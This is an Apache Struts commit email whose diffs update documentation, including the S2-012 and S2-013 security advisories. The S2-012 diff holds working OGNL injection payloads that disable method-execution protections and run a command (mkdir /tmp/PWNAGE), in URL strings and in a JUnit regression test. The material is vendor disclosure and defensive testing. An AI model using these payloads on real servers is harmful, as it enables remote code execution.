Author: lukaszlenart
Date: Thu May 23 06:57:07 2013
New Revision: 862823
Log:
Updates draft docs
Added:
websites/production/struts/content/development/2.x/docs/default-workflow-interceptor.html
Modified:
websites/production/struts/content/development/2.x/docs/interceptors.html
websites/production/struts/content/development/2.x/docs/s2-012.html
websites/production/struts/content/development/2.x/docs/s2-013.html
websites/production/struts/content/development/2.x/docs/sample-announcements.html
Added:
websites/production/struts/content/development/2.x/docs/default-workflow-interceptor.html
==============================================================================
---
websites/production/struts/content/development/2.x/docs/default-workflow-interceptor.html
(added)
+++
websites/production/struts/content/development/2.x/docs/default-workflow-interceptor.html
Thu May 23 06:57:07 2013
@@ -0,0 +1,219 @@
+
+<!--
+Licensed to the Apache Software Foundation (ASF) under one
+or more contributor license agreements. See the NOTICE file
+distributed with this work for additional information
+regarding copyright ownership. The ASF licenses this file
+to you under the Apache License, Version 2.0 (the
+"License"); you may not use this file except in compliance
+with the License. You may obtain a copy of the License at
+
+ http://www.apache.org/licenses/LICENSE- 2.0
+
+Unless required by applicable law or agreed to in writing,
+software distributed under the License is distributed on an
+"AS IS" BASIS, WITHOUT WARRANTIES OR CONDITIONS OF ANY
+KIND, either express or implied. See the License for the
+specific language governing permissions and limitations
+under the License.
+-->
+
+<!DOCTYPE HTML PUBLIC "-//W3C//DTD HTML 4.01 Transitional//EN"
"http://www.w3.org/TR/html4/loose.dtd">
+<HTML>
+ <HEAD>
+ <LINK type="text/css" rel="stylesheet"
href="https://struts.apache.org/css/default.css">
+ <STYLE type="text/css">
+ .dp-highlighter {
+ width:95% !important;
+ }
+ </STYLE>
+ <STYLE type="text/css">
+ .footer {
+ background-image:
url('https://cwiki.apache.org/confluence/images/border/border_bottom.gif');
+ background-repeat: repeat-x;
+ background-position: left top;
+ padding-top: 4px;
+ color: #666;
+ }
+ </STYLE>
+ <SCRIPT type="text/javascript" language="javascript">
+ var hide = null;
+ var show = null;
+ var children = null;
+
+ function init() {
+ /* Search form initialization */
+ var form = document.forms['search'];
+ if (form != null) {
+ form.elements['domains'].value = location.hostname;
+ form.elements['sitesearch'].value = location.hostname;
+ }
+
+ /* Children initialization */
+ hide = document.getElementById('hide');
+ show = document.getElementById('show');
+ children = document.all != null ?
+ document.all['children'] :
+ document.getElementById('children');
+ if (children != null) {
+ children.style.display = 'none';
+ show.style.display = 'inline';
+ hide.style.display = 'none';
+ }
+ }
+
+ function showChildren() {
+ children.style.display = 'block';
+ show.style.display = 'none';
+ hide.style.display = 'inline';
+ }
+
+ function hideChildren() {
+ children.style.display = 'none';
+ show.style.display = 'inline';
+ hide.style.display = 'none';
+ }
+ </SCRIPT>
+ <TITLE>Default Workflow Interceptor</TITLE>
+ <META http-equiv="Content-Type" content="text/html;charset=UTF-8"></HEAD>
+ <BODY onload="init()">
+ <TABLE border="0" cellpadding="2" cellspacing="0" width="100%">
+ <TR class="topBar">
+ <TD align="left" valign="middle" class="topBarDiv" align="left"
nowrap="">
+ <A href="home.html" title="Apache Struts 2
Documentation">Apache Struts 2 Documentation</A> > <A
href="home.html" title="Home">Home</A> > <A href="guides.html"
title="Guides">Guides</A> > <A href="core-developers-guide.html"
title="Core Developers Guide">Core Developers Guide</A> > <A
href="interceptors.html"
title="Interceptors">Interceptors</A> > <A href="" title="Default
Workflow Interceptor">Default Workflow Interceptor</A>
+ </TD>
+ <TD align="right" valign="middle" nowrap="">
+ <FORM name="search" action="http://www.google.com/search"
method="get">
+ <INPUT type="hidden" name="ie" value="UTF-8">
+ <INPUT type="hidden" name="oe" value="UTF-8">
+ <INPUT type="hidden" name="domains" value="">
+ <INPUT type="hidden" name="sitesearch" value="">
+ <INPUT type="text" name="q" maxlength="255" value="">
+ <INPUT type="submit" name="btnG" value="Google Search">
+ </FORM>
+ </TD>
+ </TR>
+ </TABLE>
+
+ <DIV id="PageContent">
+ <DIV class="pageheader" style="padding: 6px 0px 0px 0px;">
+ <!-- We'll enable this once we figure out how to access (and save) the
logo resource -->
+ <!--img src="/wiki/images/confluence_logo.gif" style="float: left;
margin: 4px 4px 4px 10px;" border="0"-->
+ <DIV style="margin: 0px 10px 0px 10px" class="smalltext">Apache Struts
2 Documentation</DIV>
+ <DIV style="margin: 0px 10px 8px 10px" class="pagetitle">Default
Workflow Interceptor</DIV>
+
+ <DIV class="greynavbar" align="right" style="padding: 2px 10px;
margin: 0px;">
+ <A
href="https://cwiki.apache.org/confluence/pages/editpage.action?pageId=13995">
+ <IMG
src="https://cwiki.apache.org/confluence/images/icons/notep_16.gif" height="16"
width="16" border="0" align="absmiddle" title="Edit Page"></A>
+ <A
href="https://cwiki.apache.org/confluence/pages/editpage.action?pageId=13995">Edit
Page</A>
+
+ <A
href="https://cwiki.apache.org/confluence/pages/listpages.action?key=WW">
+ <IMG
src="https://cwiki.apache.org/confluence/images/icons/browse_space.gif"
height="16" width="16" border="0" align="absmiddle" title="Browse Space"></A>
+ <A
href="https://cwiki.apache.org/confluence/pages/listpages.action?key=WW">Browse
Space</A>
+
+ <A
href="https://cwiki.apache.org/confluence/pages/createpage.action?spaceKey=WW&fromPageId=13995">
+ <IMG
src="https://cwiki.apache.org/confluence/images/icons/add_page_16.gif"
height="16" width="16" border="0" align="absmiddle" title="Add Page"></A>
+ <A
href="https://cwiki.apache.org/confluence/pages/createpage.action?spaceKey=WW&fromPageId=13995">Add
Page</A>
+
+ <A
href="https://cwiki.apache.org/confluence/pages/createblogpost.action?spaceKey=WW&fromPageId=13995">
+ <IMG
src="https://cwiki.apache.org/confluence/images/icons/add_blogentry_16.gif"
height="16" width="16" border="0" align="absmiddle" title="Add News"></A>
+ <A
href="https://cwiki.apache.org/confluence/pages/createblogpost.action?spaceKey=WW&fromPageId=13995">Add
News</A>
+ </DIV>
+ </DIV>
+
+ <DIV class="pagecontent">
+ <DIV class="wiki-content">
+ <P><P>
+An interceptor that makes sure there are not validation errors before allowing
the interceptor chain to continue.
+<B>This interceptor does not perform any validation</B>.
+<P>
+<P>This interceptor does nothing if the name of the method being invoked is
specified in the <B>excludeMethods</B>
+parameter. <B>excludeMethods</B> accepts a comma-delimited list of method
names. For example, requests to
+<B>foo!input.action</B> and <B>foo!back.action</B> will be skipped by this
interceptor if you set the
+<B>excludeMethods</B> parameter to "input, back".
+<P>
+<B>Note:</B> As this method extends off MethodFilterInterceptor, it is capable
of
+deciding if it is applicable only to selective methods in the action class.
This is done by adding param tags
+for the interceptor element, naming either a list of excluded method names
and/or a list of included method
+names, whereby includeMethods overrides excludedMethods. A single * sign is
interpreted as wildcard matching
+all methods for both parameters.
+See MethodFilterInterceptor for more info.
+<P></P>
+
+<P><B>In DefaultWorkflowInterceptor</B>
+<P>applies only when action implements com.opensymphony.xwork2.Validateable</P>
+<OL>
+ <LI>if the action class have validate{MethodName}(), it will be invoked</LI>
+ <LI>else if the action class have validateDo{MethodName}(), it will be
invoked</LI>
+ <LI>no matter if 1] or 2] is performed, if alwaysInvokeValidate property of
the interceptor is "true" (which is by default "true"),
validate() will be invoked.</LI>
+</OL></P>
+
+
+<H2><A name="DefaultWorkflowInterceptor-Parameters"></A>Parameters</H2>
+
+<P><P>
+<UL>
+<P>
+<LI>inputResultName - Default to "input". Determine the result name
to be returned when
+an action / field error is found.</LI>
+<P>
+</UL>
+<P></P>
+
+<H2><A name="DefaultWorkflowInterceptor-ExtendingtheInterceptor"></A>Extending
the Interceptor</H2>
+
+<P><P>
+There are no known extension points for this interceptor.
+<P></P>
+
+<H2><A name="DefaultWorkflowInterceptor-Examples"></A>Examples</H2>
+
+<DIV class="code panel" style="border-width: 1px;"><DIV class="codeContent
panelContent">
+<PRE class="code-xml">
+<SPAN class="code-tag"><action name=<SPAN
class="code-quote">"someAction"</SPAN> class=<SPAN
class="code-quote">"com.examples.SomeAction"</SPAN>></SPAN>
+ <SPAN class="code-tag"><interceptor-ref name=<SPAN
class="code-quote">"params"</SPAN>/></SPAN>
+ <SPAN class="code-tag"><interceptor-ref name=<SPAN
class="code-quote">"validation"</SPAN>/></SPAN>
+ <SPAN class="code-tag"><interceptor-ref name=<SPAN
class="code-quote">"workflow"</SPAN>/></SPAN>
+ <SPAN class="code-tag"><result name=<SPAN
class="code-quote">"success"</SPAN>></SPAN>good_result.ftl<SPAN
class="code-tag"></result></SPAN>
+<SPAN class="code-tag"></action></SPAN>
+
+<-- In this case myMethod as well as mySecondMethod of the action class
+ will not pass through the workflow process -->
+<SPAN class="code-tag"><action name=<SPAN
class="code-quote">"someAction"</SPAN> class=<SPAN
class="code-quote">"com.examples.SomeAction"</SPAN>></SPAN>
+ <SPAN class="code-tag"><interceptor-ref name=<SPAN
class="code-quote">"params"</SPAN>/></SPAN>
+ <SPAN class="code-tag"><interceptor-ref name=<SPAN
class="code-quote">"validation"</SPAN>/></SPAN>
+ <SPAN class="code-tag"><interceptor-ref name=<SPAN
class="code-quote">"workflow"</SPAN>></SPAN>
+ <SPAN class="code-tag"><param name=<SPAN
class="code-quote">"excludeMethods"</SPAN>></SPAN>myMethod,mySecondMethod<SPAN
class="code-tag"></param></SPAN>
+ <SPAN class="code-tag"></interceptor-ref name=<SPAN
class="code-quote">"workflow"</SPAN>></SPAN>
+ <SPAN class="code-tag"><result name=<SPAN
class="code-quote">"success"</SPAN>></SPAN>good_result.ftl<SPAN
class="code-tag"></result></SPAN>
+<SPAN class="code-tag"></action></SPAN>
+
+<-- In this case, the result named <SPAN
class="code-quote">"error"</SPAN> will be used when
+ an action / field error is found -->
+<-- The Interceptor will only be applied for myWorkflowMethod method of
action
+ classes, since this is the only included method while any others are
excluded -->
+<SPAN class="code-tag"><action name=<SPAN
class="code-quote">"someAction"</SPAN> class=<SPAN
class="code-quote">"com.examples.SomeAction"</SPAN>></SPAN>
+ <SPAN class="code-tag"><interceptor-ref name=<SPAN
class="code-quote">"params"</SPAN>/></SPAN>
+ <SPAN class="code-tag"><interceptor-ref name=<SPAN
class="code-quote">"validation"</SPAN>/></SPAN>
+ <SPAN class="code-tag"><interceptor-ref name=<SPAN
class="code-quote">"workflow"</SPAN>></SPAN>
+ <SPAN class="code-tag"><param name=<SPAN
class="code-quote">"inputResultName"</SPAN>></SPAN>error<SPAN
class="code-tag"></param></SPAN>
+ <SPAN class="code-tag"><param name=<SPAN
class="code-quote">"excludeMethods"</SPAN>></SPAN>*<SPAN
class="code-tag"></param></SPAN>
+ <SPAN class="code-tag"><param name=<SPAN
class="code-quote">"includeMethods"</SPAN>></SPAN>myWorkflowMethod<SPAN
class="code-tag"></param></SPAN>
+ <SPAN class="code-tag"></interceptor-ref></SPAN>
+ <SPAN class="code-tag"><result name=<SPAN
class="code-quote">"success"</SPAN>></SPAN>good_result.ftl<SPAN
class="code-tag"></result></SPAN>
+<SPAN class="code-tag"></action></SPAN>
+
+</PRE>
+</DIV></DIV>
+ </DIV>
+
+
+ </DIV>
+ </DIV>
+ <DIV class="footer">
+ Generated by
+ <A href="http://www.atlassian.com/confluence/">Atlassian Confluence</A>
(Version: 3.4.9 Build: 2042 Feb 14, 2011)
+ <A href="http://could.it/autoexport/">Auto Export Plugin</A> (Version:
1.0.0-dkulp)
+ </DIV>
+ </BODY>
+</HTML>
\ No newline at end of file
Modified:
websites/production/struts/content/development/2.x/docs/interceptors.html
==============================================================================
--- websites/production/struts/content/development/2.x/docs/interceptors.html
(original)
+++ websites/production/struts/content/development/2.x/docs/interceptors.html
Thu May 23 06:57:07 2013
@@ -686,7 +686,7 @@ under the License.
<TD class="confluenceTd"> Performs validation using the validators defined in
<EM>action</EM>-validation.xml </TD>
</TR>
<TR>
-<TD class="confluenceTd"> <A href="workflow-interceptor.html" title="Workflow
Interceptor">Workflow Interceptor</A> </TD>
+<TD class="confluenceTd"> <A href="default-workflow-interceptor.html"
title="Default Workflow Interceptor">Default Workflow Interceptor</A> </TD>
<TD class="confluenceTd"> workflow </TD>
<TD class="confluenceTd"> Calls the <TT>validate</TT> method in your Action
class. If Action errors are created then it returns the <TT>INPUT</TT> view.
</TD>
</TR>
@@ -896,7 +896,7 @@ thisWillRunFirstInterceptor
<A href="create-session-interceptor.html"
title="Create Session Interceptor">Create Session Interceptor</A>
<SPAN class="smalltext">(Apache Struts 2 Documentation)</SPAN>
<BR>
- <A href="workflow-interceptor.html" title="Workflow
Interceptor">Workflow Interceptor</A>
+ <A href="default-workflow-interceptor.html"
title="Default Workflow Interceptor">Default Workflow Interceptor</A>
<SPAN class="smalltext">(Apache Struts 2 Documentation)</SPAN>
<BR>
<A href="exception-interceptor.html"
title="Exception Interceptor">Exception Interceptor</A>
Modified: websites/production/struts/content/development/2.x/docs/s2-012.html
==============================================================================
--- websites/production/struts/content/development/2.x/docs/s2-012.html
(original)
+++ websites/production/struts/content/development/2.x/docs/s2-012.html Thu May
23 06:57:07 2013
@@ -103,21 +103,21 @@ under the License.
<DIV style="margin: 0px 10px 8px 10px" class="pagetitle">S2-012</DIV>
<DIV class="greynavbar" align="right" style="padding: 2px 10px;
margin: 0px;">
- <A
href="https://cwiki.apache.org/confluence/pages/editpage.action?pageId=31818223">
+ <A
href="https://cwiki.apache.org/confluence/pages/editpage.action?pageId=31818222">
<IMG
src="https://cwiki.apache.org/confluence/images/icons/notep_16.gif" height="16"
width="16" border="0" align="absmiddle" title="Edit Page"></A>
- <A
href="https://cwiki.apache.org/confluence/pages/editpage.action?pageId=31818223">Edit
Page</A>
+ <A
href="https://cwiki.apache.org/confluence/pages/editpage.action?pageId=31818222">Edit
Page</A>
<A
href="https://cwiki.apache.org/confluence/pages/listpages.action?key=WW">
<IMG
src="https://cwiki.apache.org/confluence/images/icons/browse_space.gif"
height="16" width="16" border="0" align="absmiddle" title="Browse Space"></A>
<A
href="https://cwiki.apache.org/confluence/pages/listpages.action?key=WW">Browse
Space</A>
- <A
href="https://cwiki.apache.org/confluence/pages/createpage.action?spaceKey=WW&fromPageId=31818223">
+ <A
href="https://cwiki.apache.org/confluence/pages/createpage.action?spaceKey=WW&fromPageId=31818222">
<IMG
src="https://cwiki.apache.org/confluence/images/icons/add_page_16.gif"
height="16" width="16" border="0" align="absmiddle" title="Add Page"></A>
- <A
href="https://cwiki.apache.org/confluence/pages/createpage.action?spaceKey=WW&fromPageId=31818223">Add
Page</A>
+ <A
href="https://cwiki.apache.org/confluence/pages/createpage.action?spaceKey=WW&fromPageId=31818222">Add
Page</A>
- <A
href="https://cwiki.apache.org/confluence/pages/createblogpost.action?spaceKey=WW&fromPageId=31818223">
+ <A
href="https://cwiki.apache.org/confluence/pages/createblogpost.action?spaceKey=WW&fromPageId=31818222">
<IMG
src="https://cwiki.apache.org/confluence/images/icons/add_blogentry_16.gif"
height="16" width="16" border="0" align="absmiddle" title="Add News"></A>
- <A
href="https://cwiki.apache.org/confluence/pages/createblogpost.action?spaceKey=WW&fromPageId=31818223">Add
News</A>
+ <A
href="https://cwiki.apache.org/confluence/pages/createblogpost.action?spaceKey=WW&fromPageId=31818222">Add
News</A>
</DIV>
</DIV>
@@ -141,7 +141,7 @@ under the License.
</TR>
<TR>
<TH class="confluenceTh">Maximum security rating</TH>
-<TD class="confluenceTd">Critical</TD>
+<TD class="confluenceTd">Moderately Critical</TD>
</TR>
<TR>
<TH class="confluenceTh">Recommendation</TH>
@@ -149,13 +149,17 @@ under the License.
</TR>
<TR>
<TH class="confluenceTh">Affected Software</TH>
-<TD class="confluenceTd"> Struts 2.0.0 - Struts 2.3.14 </TD>
+<TD class="confluenceTd"> Struts Showcase App 2.0.0 - Struts Showcase App
2.3.13 </TD>
</TR>
<TR>
<TH class="confluenceTh">Reporter</TH>
<TD class="confluenceTd"> Xgc Kxlzx, Alibaba Security Team </TD>
</TR>
<TR>
+<TH class="confluenceTh">CVE Identifier</TH>
+<TD class="confluenceTd"><A
href="http://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2013-1965"
class="external-link" rel="nofollow">CVE-2013-1965</A></TD>
+</TR>
+<TR>
<TH class="confluenceTh">Original Description</TH>
<TD class="confluenceTd"> Reported directly to [email protected]</TD>
</TR>
@@ -164,93 +168,86 @@ under the License.
<H2><A name="S2-012-Problem"></A>Problem</H2>
-<P>OGNL provides, among other features, extensive expression <A
href="http://commons.apache.org/ognl/language-guide.html#Expression_Evaluation"
class="external-link" rel="nofollow">evaluation capabilities</A>. The
vulnerability allows a malicious user to inject OGNL code into a property, then
a further assignment of the property cause a further evaluation. </P>
+<P>OGNL provides, among other features, extensive expression <A
href="http://commons.apache.org/ognl/language-guide.html#Expression_Evaluation"
class="external-link" rel="nofollow">evaluation capabilities</A>. <BR>
+A request that included a specially crafted request parameter could be used to
inject arbitrary OGNL code into a property, afterward used as request parameter
of a redirect address, which will cause a further evaluation. </P>
-<P>OGNL evaluation was already addressed in <A href="s2-003.html"
title="S2-003">S2-003</A> and <A href="s2-005.html"
title="S2-005">S2-005</A> and <A href="s2-009.html"
title="S2-009">S2-009</A>, but, since it involved just the parameter's
name, it turned out that the resulting fix based on whitelisting acceptable
parameter names closed the vulnerability only partially. </P>
+<P>OGNL evaluation was already addressed in <A href="s2-003.html"
title="S2-003">S2-003</A> and <A href="s2-005.html"
title="S2-005">S2-005</A> and <A href="s2-009.html"
title="S2-009">S2-009</A>, but, since it involved just the parameter's
name, it turned out that the resulting fixes based on whitelisting acceptable
parameter names and denying evaluation of the expression contained in parameter
names, closed the vulnerability only partially. </P>
-<P>This time, there is no way to whitelist parameter value,<BR>
-Regular expression in ParametersInterceptor matches top['foo'](0) as a valid
expression, which OGNL treats as (top['foo'])(0) and evaluates the value of
'foo' action parameter as an OGNL expression. This lets malicious users put
arbitrary OGNL statements into any String variable exposed by an action and
have it evaluated as an OGNL expression and since OGNL statement is in HTTP
parameter value attacker can use blacklisted characters (e.g. #) to disable
method execution and execute arbitrary methods, bypassing the
ParametersInterceptor and OGNL library protections.</P>
+<P>The second evaluation happens when redirect result reads it from the stack
and uses the previously injected code as redirect parameter.<BR>
+This lets malicious users put arbitrary OGNL statements into any unsanitized
String variable exposed by an action and have it evaluated as an OGNL
expression to enable method execution and execute arbitrary methods, bypassing
Struts and OGNL library protections.</P>
<H2><A name="S2-012-Proofofconcept"></A>Proof of concept</H2>
-<DIV class="code panel" style="border-width: 1px;"><DIV class="codeHeader
panelHeader" style="border-bottom-width: 1px;"><B>Vulnerable
Action</B></DIV><DIV class="codeContent panelContent">
-<PRE class="code-java">
-<SPAN class="code-keyword">public</SPAN> class FooAction {
- <SPAN class="code-keyword">private</SPAN> <SPAN
class="code-object">String</SPAN> foo;
-
- <SPAN class="code-keyword">public</SPAN> <SPAN
class="code-object">String</SPAN> execute() {
- <SPAN class="code-keyword">return</SPAN> <SPAN
class="code-quote">"success"</SPAN>;
- }
- <SPAN class="code-keyword">public</SPAN> <SPAN
class="code-object">String</SPAN> getFoo() {
- <SPAN class="code-keyword">return</SPAN> foo;
- }
-
- <SPAN class="code-keyword">public</SPAN> void setFoo(<SPAN
class="code-object">String</SPAN> foo) {
- <SPAN class="code-keyword">this</SPAN>.foo = foo;
- }
-}
+<OL>
+ <LI>Run struts2-showcase</LI>
+ <LI>Open url: <A
href="http://localhost:8080/struts2-showcase/skill/edit.action?skillName=SPRING-DEV"
class="external-link"
rel="nofollow">http://localhost:8080/struts2-showcase/skill/edit.action?skillName=SPRING-DEV</A></LI>
+ <LI>write skill name to %{expr} for example:
+<DIV class="code panel" style="border-width: 1px;"><DIV class="codeContent
panelContent">
+<PRE class="code-java">%{(#_memberAccess['allowStaticMethodAccess']=<SPAN
class="code-keyword">true</SPAN>)(#context['xwork.MethodAccessor.denyMethodExecution']=<SPAN
class="code-keyword">false</SPAN>)
#[email protected]@getResponse().getWriter(),#hackedbykxlzx.println('hacked
by kxlzx'),#hackedbykxlzx.close())}
</PRE>
-</DIV></DIV>
+</DIV></DIV></LI>
+ <LI>submit the form</LI>
+</OL>
-<P>Here's an actual decoded example, which will create /tmp/PWNAGE
directory:</P>
-<DIV class="preformatted panel" style="border-width: 1px;"><DIV
class="preformattedContent panelContent">
-<PRE>/action?foo=(#context["xwork.MethodAccessor.denyMethodExecution"]=
new java.lang.Boolean(false),
#_memberAccess["allowStaticMethodAccess"]= new
java.lang.Boolean(true), @java.lang.Runtime@getRuntime().exec('mkdir
/tmp/PWNAGE'))(meh)&z[(foo)('meh')]=true
+<P>The issue, in order to work, need a redirect result defined as the
following:</P>
+<DIV class="code panel" style="border-width: 1px;"><DIV class="codeContent
panelContent">
+<PRE class="code-java">
+<action name=<SPAN class="code-quote">"save"</SPAN> class=<SPAN
class="code-quote">"org.apache.struts2.showcase.action.SkillAction"</SPAN>
method=<SPAN class="code-quote">"save"</SPAN>>
+ <result type=<SPAN
class="code-quote">"redirect"</SPAN>>edit.action?skillName=${currentSkill.name}</result>
+</action>
</PRE>
-</DIV></DIV>
+</DIV></DIV>
-<P>encoded version:</P>
-<DIV class="preformatted panel" style="border-width: 1px;"><DIV
class="preformattedContent panelContent">
-<PRE>/action?foo=%28%23context[%22xwork.MethodAccessor.denyMethodExecution%22]%3D+new+java.lang.Boolean%28false%29,%20%23_memberAccess[%22allowStaticMethodAccess%22]%3d+new+java.lang.Boolean%28true%29,%[email protected]@getRuntime%28%29.exec%28%27mkdir%20/tmp/PWNAGE%27%29%29%28meh%29&z[%28foo%29%28%27meh%27%29]=true
-</PRE>
-</DIV></DIV>
-
-<P>And the JUnit version</P>
-<DIV class="code panel" style="border-width: 1px;"><DIV class="codeHeader
panelHeader" style="border-bottom-width: 1px;"><B>PoC</B></DIV><DIV
class="codeContent panelContent">
+<H3><A name="S2-012-JUnitVersion"></A>JUnit Version</H3>
+<DIV class="code panel" style="border-width: 1px;"><DIV class="codeContent
panelContent">
<PRE class="code-java">
-<SPAN class="code-keyword">public</SPAN> class FooActionTest <SPAN
class="code-keyword">extends</SPAN>
org.apache.struts2.StrutsJUnit4TestCase<FooAction> {
- @Test
- <SPAN class="code-keyword">public</SPAN> void testExecute() <SPAN
class="code-keyword">throws</SPAN> Exception {
- request.setParameter(<SPAN class="code-quote">"foo"</SPAN>,
<SPAN
class="code-quote">"(#context[\"</SPAN>xwork.MethodAccessor.denyMethodExecution\<SPAN
class="code-quote">"]= <SPAN class="code-keyword">new</SPAN>
"</SPAN> +
- <SPAN class="code-quote">"java.lang.<SPAN
class="code-object">Boolean</SPAN>(<SPAN class="code-keyword">false</SPAN>),
#_memberAccess[\"</SPAN>allowStaticMethodAccess\<SPAN
class="code-quote">"]= <SPAN class="code-keyword">new</SPAN>
java.lang.<SPAN class="code-object">Boolean</SPAN>(<SPAN
class="code-keyword">true</SPAN>), "</SPAN> +
- <SPAN class="code-quote">"@java.lang.<SPAN
class="code-object">Runtime</SPAN>@getRuntime().exec('mkdir
/tmp/PWNAGE'))(meh)"</SPAN>);
+<SPAN class="code-keyword">public</SPAN> void testUnsecureRedirect() {
+ <SPAN class="code-keyword">final</SPAN> <SPAN
class="code-object">String</SPAN> pwnDir = <SPAN
class="code-quote">"/tmp/PWNAGE"</SPAN>;
+ <SPAN class="code-keyword">final</SPAN> Map<<SPAN
class="code-object">String</SPAN>, <SPAN class="code-object">String</SPAN>>
fakeAction = <SPAN class="code-keyword">new</SPAN> HashMap<<SPAN
class="code-object">String</SPAN>, <SPAN
class="code-object">String</SPAN>>() {
+ {
+ put(<SPAN class="code-quote">"skillName"</SPAN>, <SPAN
class="code-quote">"%{(#context['xwork.MethodAccessor.denyMethodExecution']=<SPAN
class="code-keyword">false</SPAN>)(#_memberAccess['allowStaticMethodAccess']=<SPAN
class="code-keyword">true</SPAN>)(@java.lang.<SPAN
class="code-object">Runtime</SPAN>@getRuntime().exec('mkdir "</SPAN> +
pwnDir + <SPAN class="code-quote">"'))}"</SPAN>);
+ }
+ };
- request.setParameter(<SPAN
class="code-quote">"top['foo'](0)"</SPAN>, <SPAN
class="code-quote">"<SPAN class="code-keyword">true</SPAN>"</SPAN>);
+ <SPAN class="code-object">String</SPAN> location = <SPAN
class="code-quote">"/context/edit.action?skillName=<SPAN
class="code-keyword">true</SPAN>"</SPAN>;
+ responseMock.expectAndReturn(<SPAN
class="code-quote">"encodeRedirectURL"</SPAN>, C.anyArgs(1),
location);
+ responseMock.expect(<SPAN
class="code-quote">"sendRedirect"</SPAN>, C.args(C.eq(location)));
+ requestMock.expectAndReturn(<SPAN
class="code-quote">"getAttribute"</SPAN>, C.args(C.eq(<SPAN
class="code-quote">"javax.servlet.include.servlet_path"</SPAN>)),
location);
- <SPAN class="code-object">String</SPAN> res = <SPAN
class="code-keyword">this</SPAN>.executeAction(<SPAN
class="code-quote">"/example/foo.action"</SPAN>);
- FooAction action = <SPAN class="code-keyword">this</SPAN>.getAction();
-
- File pwn = <SPAN class="code-keyword">new</SPAN> File(<SPAN
class="code-quote">"/tmp/PWNAGE"</SPAN>);
- Assert.assertFalse(<SPAN class="code-quote">"Remote exploit: The
PWN folder has been created"</SPAN>, pwn.exists());
- }
-}
+ ValueStack stack = ai.getStack();
+ stack.push(fakeAction);
-</PRE>
-</DIV></DIV>
+ view.setLocation(<SPAN
class="code-quote">"edit.action?skillName=${skillName}"</SPAN>);
+ view.setParse(<SPAN class="code-keyword">true</SPAN>);
-<H2><A name="S2-012-Solution"></A>Solution</H2>
-<P>The regex pattern inside the ParameterInterceptor was changed to provide a
more narrow space of acceptable parameter names. <BR>
-Furthermore the new setParameter method provided by the value stack will allow
no more eval expression inside the param names.</P>
+ <SPAN class="code-keyword">try</SPAN> {
+ view.execute(ai);
+ requestMock.verify();
-<DIV class="panelMacro"><TABLE class="warningMacro"><COLGROUP><COL
width="24"><COL></COLGROUP><TR><TD valign="top"><IMG
src="https://cwiki.apache.org/confluence/images/icons/emoticons/forbidden.gif"
width="16" height="16" align="absmiddle" alt="" border="0"></TD><TD><B>It is
strongly recommended to upgrade to <A
href="http://struts.apache.org/download.cgi#struts2312" class="external-link"
rel="nofollow">Struts 2.3.1.2</A>, which contains the corrected OGNL and XWork
library.</B></TD></TR></TABLE></DIV>
+ File pwn = <SPAN class="code-keyword">new</SPAN> File(pwnDir);
+ <SPAN class="code-object">boolean</SPAN> exists = pwn.exists();
+ FileUtils.deleteDirectory(pwn);
+ assertFalse(<SPAN class="code-quote">"Remote exploit: The PWN
folder has been created"</SPAN>, exists);
-<P>In case an upgrade isn't possible in a particular environment, there is a
configuration based mitigation workaround:</P>
+ <SPAN class="code-object">Object</SPAN> dme =
stack.getContext().get(<SPAN
class="code-quote">"xwork.MethodAccessor.denyMethodExecution"</SPAN>);
-<H3><A
name="S2-012-PossibleMitigationWorkaround%3AConfigureParametersIntercptorinstruts.xmltoExcludeMaliciousParameters"></A>Possible
Mitigation Workaround: Configure ParametersIntercptor in struts.xml to Exclude
Malicious Parameters</H3>
+ assertTrue(<SPAN class="code-quote">"DenyMethodExecution has been
disabled"</SPAN>, dme == <SPAN class="code-keyword">null</SPAN> ||
BooleanUtils.toBoolean(dme.toString()));
-<P>The following additional interceptor-ref configuration should mitigate the
problem when applied correctly, allowing only simple navigational
expression:</P>
-<DIV class="code panel" style="border-width: 1px;"><DIV class="codeContent
panelContent">
-<PRE class="code-java">
-<interceptor-ref name=<SPAN class="code-quote">"params"</SPAN>>
- <param name=<SPAN
class="code-quote">"acceptParamNames"</SPAN>>\w+((\.\w+)|(\[\d+\])|(\['\w+'\]))*</param>
-</interceptor-ref>
+ } <SPAN class="code-keyword">catch</SPAN> (Exception e) {
+ e.printStackTrace();
+ fail();
+ }
+}
</PRE>
</DIV></DIV>
-<DIV class="panelMacro"><TABLE class="noteMacro"><COLGROUP><COL
width="24"><COL></COLGROUP><TR><TD valign="top"><IMG
src="https://cwiki.apache.org/confluence/images/icons/emoticons/warning.gif"
width="16" height="16" align="absmiddle" alt="" border="0"></TD><TD>Beware that
the above pattern breaks <A
href="http://struts.apache.org/2.3.1.1/docs/type-conversion.html#TypeConversion-CollectionandMapSupport"
class="external-link" rel="nofollow">the type conversion support for
collection and map</A> (those parameter names should be attached to
acceptParamNames variable).<BR>
-For this configuration to work correctly, it has to be applied to <B>any
params interceptor ref in any stack an application is using</B>.<BR>
-E.g., if an application is configured to use defaultStack as well as
paramsPrepareParamsStack, you should copy both stack definitions from
struts-default.xml to the application's struts.xml config file and apply the
described excludeParams configuration for each params interceptor ref, that is
<B>once for defaultStack and twice for
paramsPrepareParamsStack</B></TD></TR></TABLE></DIV>
+<H2><A name="S2-012-Solution"></A>Solution</H2>
+
+<P>The OGNLUtil class was changed to deny eval expressions by default. </P>
+
+<DIV class="panelMacro"><TABLE class="warningMacro"><COLGROUP><COL
width="24"><COL></COLGROUP><TR><TD valign="top"><IMG
src="https://cwiki.apache.org/confluence/images/icons/emoticons/forbidden.gif"
width="16" height="16" align="absmiddle" alt="" border="0"></TD><TD><B>It is
strongly recommended to upgrade to <A
href="http://struts.apache.org/download.cgi#struts23141" class="external-link"
rel="nofollow">Struts 2.3.14.1</A>, which contains the corrected OGNL and XWork
library.</B></TD></TR></TABLE></DIV>
</DIV>
Modified: websites/production/struts/content/development/2.x/docs/s2-013.html
==============================================================================
--- websites/production/struts/content/development/2.x/docs/s2-013.html
(original)
+++ websites/production/struts/content/development/2.x/docs/s2-013.html Thu May
23 06:57:07 2013
@@ -126,7 +126,7 @@ under the License.
<H2><A name="S2-013-Summary"></A>Summary</H2>
-<P>Showcase app vulnerability allows remote command execution</P>
+<P>A vulnerability, present in the <EM>includeParams</EM> attribute of the
<EM>URL</EM> and <EM>Anchor</EM> Tag, allows remote command execution</P>
<DIV class="table-wrap">
@@ -141,7 +141,7 @@ under the License.
</TR>
<TR>
<TH class="confluenceTh">Maximum security rating</TH>
-<TD class="confluenceTd">Critical</TD>
+<TD class="confluenceTd">High Critical</TD>
</TR>
<TR>
<TH class="confluenceTh">Recommendation</TH>
